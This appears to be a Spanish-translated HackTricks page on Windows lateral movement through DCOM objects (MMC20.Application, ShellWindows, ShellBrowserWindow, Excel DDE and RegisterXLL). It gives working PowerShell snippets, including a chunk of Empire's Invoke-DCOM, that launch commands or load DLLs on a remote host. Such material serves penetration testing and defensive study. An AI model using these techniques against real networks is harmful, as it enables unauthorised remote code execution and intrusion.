coelner/hacktricks
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
06b9602174
hacktricks/windows-hardening/lateral-movement/dcom-exec.md
Translator workflow 06b9602174 Translated to Spanish
2023-06-03 01:46:23 +00:00

13 KiB
Raw Blame History

DCOM Exec

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

MMC20.Application

Los objetos DCOM (Distributed Component Object Model) son interesantes debido a la capacidad de interactuar con los objetos a través de la red. Microsoft tiene una buena documentación sobre DCOM aquí y sobre COM aquí. Puede encontrar una sólida lista de aplicaciones DCOM utilizando PowerShell, ejecutando Get-CimInstance Win32_DCOMApplication.

El objeto COM MMC Application Class (MMC20.Application) le permite escribir componentes de operaciones de MMC snap-in. Al enumerar los diferentes métodos y propiedades dentro de este objeto COM, noté que hay un método llamado ExecuteShellCommand bajo Document.ActiveView.

Puede leer más sobre ese método aquí. Hasta ahora, tenemos una aplicación DCOM a la que podemos acceder a través de la red y podemos ejecutar comandos. La pieza final es aprovechar esta aplicación DCOM y el método ExecuteShellCommand para obtener la ejecución de código en un host remoto.

Afortunadamente, como administrador, puede interactuar remotamente con DCOM con PowerShell usando "[activator]::CreateInstance([type]::GetTypeFromProgID". Todo lo que necesita hacer es proporcionarle un ProgID DCOM y una dirección IP. Luego le proporcionará una instancia de ese objeto COM de forma remota:

Es posible invocar el método ExecuteShellCommand para iniciar un proceso en el host remoto:

ShellWindows y ShellBrowserWindow

El objeto MMC20.Application carecía de "LaunchPermissions" explícitas, lo que resultó en el conjunto de permisos predeterminado que permite el acceso de los administradores:

Puede leer más sobre ese hilo aquí.
Ver qué otros objetos no tienen un conjunto de LaunchPermission explícito se puede lograr usando OleView .NET de @tiraniddo, que tiene excelentes filtros de Python (entre otras cosas). En este caso, podemos filtrar todos los objetos que no tienen permiso de inicio explícito. Al hacerlo, dos objetos me llamaron la atención: ShellBrowserWindow y ShellWindows:

Otra forma de identificar objetos potenciales es buscar el valor LaunchPermission que falta en las claves en HKCR:\AppID\{guid}. Un objeto con permisos de inicio configurados se verá así, con datos que representan la ACL para el objeto en formato binario:

Aquellos sin un conjunto explícito de LaunchPermission faltarán en esa entrada de registro específica.

ShellWindows

El primer objeto explorado fue ShellWindows. Dado que no hay ProgID asociado con este objeto, podemos usar el método .NET Type.GetTypeFromCLSID emparejado con el método Activator.CreateInstance para instanciar el objeto a través de su AppID en un host remoto. Para hacer esto, necesitamos obtener el CLSID para el objeto ShellWindows, que también se puede lograr usando OleView .NET:

shellwindow\_classid

Como puede ver a continuación, el campo "Launch Permission" está en blanco, lo que significa que no se establecen permisos explícitos.

screen-shot-2017-01-23-at-4-12-24-pm

Ahora que tenemos el CLSID, podemos instanciar el objeto en un destino remoto:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)

Una vez que el objeto se ha instanciado en el host remoto, podemos interactuar con él e invocar cualquier método que deseemos. El identificador devuelto por el objeto muestra varios métodos y propiedades, ninguno de los cuales podemos interactuar. Para lograr una interacción real con el host remoto, necesitamos acceder al método WindowsShell.Item, que nos devolverá un objeto que representa la ventana de la shell de Windows:

$item = $obj.Item()

Con un control total sobre la ventana Shell, ahora podemos acceder a todos los métodos/propiedades esperados que están expuestos. Después de revisar estos métodos, Document.Application.ShellExecute destacó. Asegúrese de seguir los requisitos de parámetros para el método, los cuales están documentados aquí.

$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Como se puede ver arriba, nuestro comando se ejecutó en un host remoto con éxito.

ShellBrowserWindow

Este objeto en particular no existe en Windows 7, lo que limita un poco más su uso para el movimiento lateral que el objeto "ShellWindows", que probé con éxito en Win7-Win10.

Según mi enumeración de este objeto, parece proporcionar efectivamente una interfaz en la ventana del Explorador, al igual que el objeto anterior. Para instanciar este objeto, necesitamos obtener su CLSID. Similar al anterior, podemos usar OleView .NET:

shellbrowser\_classid

Nuevamente, tenga en cuenta el campo de permiso de inicio en blanco:

screen-shot-2017-01-23-at-4-13-52-pm

Con el CLSID, podemos repetir los pasos tomados en el objeto anterior para instanciar el objeto y llamar al mismo método:

$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)

Como se puede ver, el comando se ejecutó correctamente en el objetivo remoto.

Dado que este objeto interactúa directamente con el shell de Windows, no necesitamos invocar el método "ShellWindows.Item", como en el objeto anterior.

Si bien estos dos objetos DCOM se pueden utilizar para ejecutar comandos de shell en un host remoto, hay muchos otros métodos interesantes que se pueden utilizar para enumerar o manipular un objetivo remoto. Algunos de estos métodos incluyen:

  • Document.Application.ServiceStart()
  • Document.Application.ServiceStop()
  • Document.Application.IsServiceRunning()
  • Document.Application.ShutDownWindows()
  • Document.Application.GetSystemInformation()

ExcelDDE y RegisterXLL

De manera similar, es posible moverse lateralmente abusando de los objetos DCOM de Excel, para obtener más información, lea https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") {
    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
    $Obj = [System.Activator]::CreateInstance($Com)
    $isx64 = [boolean]$obj.Application.ProductCode[21]
    Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
elseif ($Method -Match "RegisterXLL") {
    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
    $Obj = [System.Activator]::CreateInstance($Com)
    $obj.Application.RegisterXLL("$DllPath")
}
elseif ($Method -Match "ExcelDDE") {
    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
    $Obj = [System.Activator]::CreateInstance($Com)
    $Obj.DisplayAlerts = $false
    $Obj.DDEInitiate("cmd", "/c $Command")
}

Herramienta

El script de Powershell Invoke-DCOM.ps1 permite invocar fácilmente todas las formas comentadas de ejecutar código en otras máquinas.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥